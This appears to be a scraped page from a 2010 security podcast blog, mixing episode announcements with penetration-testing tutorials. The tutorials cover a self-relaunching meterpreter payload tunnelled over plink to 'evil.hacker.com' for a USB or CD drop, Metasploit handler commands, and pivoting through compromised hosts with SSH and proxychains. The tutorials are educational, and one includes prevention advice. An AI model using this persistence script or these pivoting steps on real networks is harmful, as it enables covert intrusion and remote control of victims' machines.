People have been asking me to show some basic metasploit and how you use it. I recently did a security show for the Michigan ISSA folks where we showed everyone how to use it. So I figured I would re-hash that as well as build on it to give you a good feel for what you can do. So I created a video (see below) and in the video I show you how to own a box, as well as different commands you can use and how they work. We will use the aurora exploit, with (and without) the meterpreter, keylogging, victim enumeration, timestomp (to mess with a forensic timeline), backdoors, and more!
By Mark Baggett on March 30, 2010 6:56 PM
|Permalink
By Mark Baggett
In
this post I'll show you how to make a resilient meterpreter session
that is tunneled over SSH back to your penetration testing machine.
Resilient in that it will monitor the tools running needed to
give me access and relaunch them if needed. This is NOT the same as a
persistent backdoor that survives a reboot and is typically not part
of a penetration test. But it is resilient, so if I kill the
processes accidentally, they will relaunch themselves. This also isn't stealth although it could be made to be. It is visible to the end user.
First,
lets get a few things out of they way. WHY tunnel Meterpreter over
SSH? My intention is not to avoid IDS, but it will help achieve that.
Meterpreter avoids IDS just fine on its own although I think it may
still be possible to detect meterpreter before it is fully loaded and
secured with TLS. But, if your trying to avoid IDS then tunneling over SSH isn't likely to hurt. Using SSH also allows me to add some authentication back to
my host rather than just firewall rules on my Meterpreter console. Because
I'm loading my servers SSH key on the client I am authenticating that
the client is connecting to MY server. Of course this is easily
manually bypassed, but my automated script will not connect if the
server key does not match. Therefore I can say with confidence that
the CD I leave in the parking lot will only connect that client back
to my machine based. I've also verified that the meterpreter session
coming in knows my ssh servers username and password.
Another
advantage (that is not without risk) is that this configuration will
allow you to do some name resolution for your tunnel. So if my
pen-test machine is on an EVDO or other dynamic IP and it changes I
can just update the DNS record and not the client tool. That is kind
of nice.
Enough
small talk, lets build a package containing a resilient meterpreter client that we can send into penetration testing clients environment on a USB or CDROM.
Next,
connect to your SSH server once and export the registry key
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys. These are
the keys you will need to import on the client so that PLINK can
connect to your server without the SSH Fingerprint prompt. In this case I exported that key and called it "storedSSHkey.reg"
Then
I create a .BAT or .CMD file with the following commands in it.
Contents
of PROCMON.CMD
regedit /s storedSSHkey.reg
for /L %%i in (1,0,2) do (wmic process WHERE name="metbind9999.exe" get name | find "metbind9999" && echo "meterpreter is running" || start metbind9999.exe) & ( wmic process WHERE name="plink.exe" get name | find "plink" && echo "plink running" || (start plink -R 9999:127.0.0.1:9999 -pw sshpass sshuser@evil.hacker.com)) & ping -n 5 127.0.0.1
This
command script will first IMPORT the SSH key of our server into
the registry of the clients machine so that when PLINK runs to
connect back to our testing machine the SSH Fingerprint has already
been accepted and the script will not pause indefinitely. In doing
so, the client has validated the server its sending the shell to.
Next
we start our FOR loop which resiliently relaunches the meterpreter
process and the PLINK process if they die for some reason.
That
is really all you need, but since we are going to build all the pieces anyway I like to
include some other tools that I want to stage on the clients
machine such as NCAT and a few others. Make sure your
penetration testing agreement permits the installation of such tools.
I package all those tools up together along with the PROCMON.CMD file using iexpress. (be sure to enable long name support or you'll need to rename all the files in the package to 8.3 format) The the package is ready to send to a penetration testing client. Here is a video demonstrating the
creation of the package and some process resiliency testing.
Once
the client has opened the package you will have a connection waiting
for you on the port you have designated on your SSH server. In the
example above it is listening on port 9999 on my SSH server. Then you
can use the multi/handler to connect and use it.
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(handler) > set LPORT 9999
LPORT => 9999
msf exploit(handler) > exploit
Please join us Thursday night at 7:30 PM for Episode 193 with chief research officer for the SANS Institute, Dr. Johannes Ullrich. The live stream should be active around 19:30 EDT (7:30 PM), Thursday, April 1st.
We're pretty sure Bill Gates wasn't laughing.
Please keep in mind that the recording start time is fluid. Join the IRC channel during the stream - we can take live comments and discussion from the channel! You can find us on IRC at irc.freenode.net #pauldotcom.
Please join us Thursday night at 7:30 PM for Episode 192: "Browser Fuzzing" with vulnerability researcher Jeremy Brown.
The live stream should be active around 19:30 EDT (7:30 PM), Thursday, March 25th. Please keep in mind that the recording start time can vary depending on Beer intake.
Please join the IRC channel during the stream - we can take live comments and discussion from the channel! Find us on IRC at irc.freenode.net #pauldotcom.
Two weeks ago, some of the PaulDotCom crew spent a couple of days down in Maryland hanging out with all of the great CCDC crew. While Paul and Darren played Red Team for the Mid-Atlantic Collegiate Cyber Defense Challenge, I got to play "the badge man".
It was my job to design and implement a physical access control system and conference badges that was "in scope" for the Red Team to attack, and the Blue Team to defend. Ultimately I wanted the badge to be RFID enabled, have a form factor similar to those found in industry. I also wanted them to be easy to transport and reproducible for those on student budgets. In that spirit, I'm here to spill my guts about the system, hardware and code so that you too can make this part of your cyber challenge.
A red and green LEDs - many sources, such as Radio Shack
Various lengths of wire
A project enclosure of your choosing
The badges feature laser cut acrylic (thanks to the AS220 FabLab), and Q5 RFID tags rewritten and in EN4X02 emulation mode. While we wanted to provide an RFID reader/writer for each participant, the cost became prohibitive. Instead we had some hardware that featured the ACG Dual ISO OEM Module. Our module was sourced from Adam Laurie, author of RFIDIOt, which was used to read and write the Q5 RFID tags.
Red and Blue Team badges, minus the RFID card
The Code:
Darren the intern and I spent the better part of two weeks battling code to get this work, especially given that we were trying to compare two different variable types, and a host of other issues. What we did find that part of the problem had already been tackled before. The read and compare to a list of known values worked, but much of the rest of the code did not. The part that didn't work we knew how to fix so we used that as the base for the system. Once that was complete, it was simple as providing some feedback to the user that a badge read failed or succeeded.
Basically, the code takes input from the reader and compares it to a list of values. If it finds a match, it turns the green LED on for 3 seconds, continues to compare to the end of list and then waits for another badge and illuminates the red LED. If it doesn't match, it turns off the red LED for 1 second, and the illuminates it. Green means go, red means stop.
An installed reader
The Docs:
I also presented some information about the badge and some rules before the contest started. Those slides can be found here. Additionally, I did a wrap up of all of the ways I thought of to hack the badge system. Those slides can be found here.
This physical security is better...
Oh, I bet you want some other goodies! This file contains all of the code, lists of all of the RFID tag values, as well as wiring diagrams in image and Fritzing format.
Any and all feed back is welcome. E-mail me at larry@pauldotcom.com, or sent me a note on twitter to @haxorthematrix.
Please join us tomorrow night at 7:30 PM for DebateMania CXCI: "Controls vs. Threat-based Approaches to Information Security Monitoring".
We'll have Richard "Bonecrusher" Bejtlich, Director of Incident Response at GE, and Ron "Tenacious" Gula, CEO of Tenable Network Security, debate the pros and cons of having a strong IT controls program vs. one focused on responding to threats. Ron will fearlessly defend the practice of a controls program while Rich will bring bone crushing rebuttals for a threat-centric monitoring program.
NOTE: Picture is not an actual representation of past debates.
The live stream should be active around 19:30 EDT (7:30 PM), Thursday, March 18th. Please keep in mind that the recording time is as slippery as a lubed up Andre The Giant.
Please join the IRC channel during the stream - we can take live comments and discussion from the channel! Find us on IRC at irc.freenode.net #pauldotcom.
Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it.
The Players
Attacker 172.16.186.132
Victim 172.16.186.126
Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.
Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example:
This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128).
Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example:
This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.
Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows:
Please join the IRC channel during the stream - we can take live comments and discussion from the channel! Find us on IRC at irc.freenode.net #pauldotcom.
Top ten tips to socially engineer management into implementing security the right way, plus all sorts of interesting stories including the "porn detection stick"!
Please note: Instead of our regular Thursday debacle, PaulDotCom Security Weekly Episode 189 will be recorded on Friday at 21:00 EST (9:00 PM).
Also, there were rumors we won an award somewhere for something ...
Please join the IRC channel during the stream - we can take live comments and discussion from the channel! Find us on IRC at irc.freenode.net #pauldotcom.
By Mark Baggett on March 3, 2010 6:29 PM
|Permalink
By Mark Baggett
Proxychains is a Linux dynamically loadable library that will intercept any TCP and UDP traffic from a specific process and tunnel it over HTTP, SOCKS4 or SOCKS5 proxy. For this discussion I will be focusing on SOCKS4 proxies setup with the SSH -D parameter. Proxychains is already installed in Backtrack4 and configured to tunnel over a SOCKS4 listener on port 9050 on the local host. By default, proxychains uses the configuration file /etc/proxychains.conf. But Proxychains will look for a proxychains.conf file in the current working directory and use it if one exists. To illustrate how an attacker or penetration tester can use this powerful tool let us look at the following scenario. The attacker is attempting to gain access to the TARGET host at 10.10.1.2 on the following network. (Note the super 1337 Visio skills)
The attacker brute forced valid credentials to the public SSH service on 192.168.100.13. Then they cracked passwords obtained from that machine and used them to find valid credentials on a second DMZ host at 192.168.100.15. That host, has two network cards and the second network interface straddles the corporate firewall and connect to the internal network where our target 10.10.1.2 sits. Note that for this attack to work the second host is not required to straddle the firewall, it just needs to have firewall rules in place that allow it to access the internal target.
The attacker starts his attack by connecting to the external SSH listener at 192.168.100.13 as follows:
"-D 127.0.0.1:9050" causes a dynamic port forwarder to start on port 9050 of the attackers local host. Since the default proxychains.conf file already has an entry to proxy on port 9050 (tor's default) all the attacker has to do is launch a program and proceed it with "proxychains" and all its traffic will be shoveled to the host 192.168.100.13. If the attacker ran:
>proxychains wget localhost
They would get back the website listening on port 80 on host 192.168.100.13. But I want to bounce off that server and gain access to 192.168.100.15. So I could do this:
>proxychains ssh user@192.168.100.15
That would make an SSH connection into 192.168.100.15. On that host it would appear that the connection came from 192.168.100.13. In this case after I make the connection to 192.168.100.15 I really want to pivot a second time to get to the internal host. So I run the following:
What is really awesome here is that this establishes a NEW dynamic port forwarder on the attackers localhost at port 8090. The attacker now has the multiple dynamic port forwarders listening on his host. The first port forwarder on 9050 takes him into 192.168.100.13 and the second on 8090 takes him to 192.168.100.15. The attacker can use proxychains again with a different configuration file to tunnel all the TCP and UDP packets from a program to execute on the second pivot point at 192.168.100.15. To do this I did the following:
or you can use your favorite editor to change the port at the bottom of the configuration file. Then from the directory containing my new configuration file I ran this:
Which started the NESSUS server daemon and allowed me to do a full vulnerability scan on the internal host. Nessusd worked great over proxychains! Nmap, Metasploit and others also worked well. To launch Metasploit using proxychains you'd simply run the following:
PREVENTION:
I hear you, "Dude... That is scary. How do I prevent this from happening?"
Well, first be sure to minimize the ports you open between hosts and don't have host that straddle your firewall. Second, you can turn off port forwarding in your sshd configuration files. Edit /etc/ssh/sshd_config and set "AllowTCPForwarding to NO". While your in there make all these changes. Remember that if an attacker has a shell they can install their own forwarders or use netcat so this is just one step in trying to preventing the host from being a relay. It does make the attacker job much harder when you turn off the DEFAULT mode of being a relay.
Shout out to Jim Shewmaker and ace1 over at SANS Netwars. Ace1's excellent paper inspired me to take another look at proxychains.
Note: proxychains support CHAINS of proxies (imagine that). There is probably a more elegant way to do this using just one configuration file and a strict chain. Do you know how? Leave me a comment!
You learned to live with IPv4's deficiencies. NAT doesn't scare you and your VoIP systems and VPNs can handle multiple layers of it. So why should you care about IPv6? The answer is: You should care because you may already be using IPv6 without knowing about it ... and knowing is half the battle!
On Wednesday, March 17th, please join DShield founder and SANS CSO Johannes Ullrich in a unique seminar at a tremendous discount to PaulDotCom listeners!
The IPv6 Survival Guide class will introduce you to the very basics of IPv6 and answer questions such as:
- What are those long addresses about and how are they assigned?
- What is the difference between different tunnel technologies like 6-to-4, teredo, isatap and more?
- Will IPv6 work with my systems?
- How do I filter IPv6 and how do I detect if I already use it?
Johannes will also go over some of the new features offered by IPv6 like mobile IP, jumbo packets and auto configuration.
[Note: We've given up on fighting iTunes and are now releasing both parts for each episode at the same time. Make sure you check your podcast application (most listeners use iTunes) and make sure you are getting both parts of each episode!]
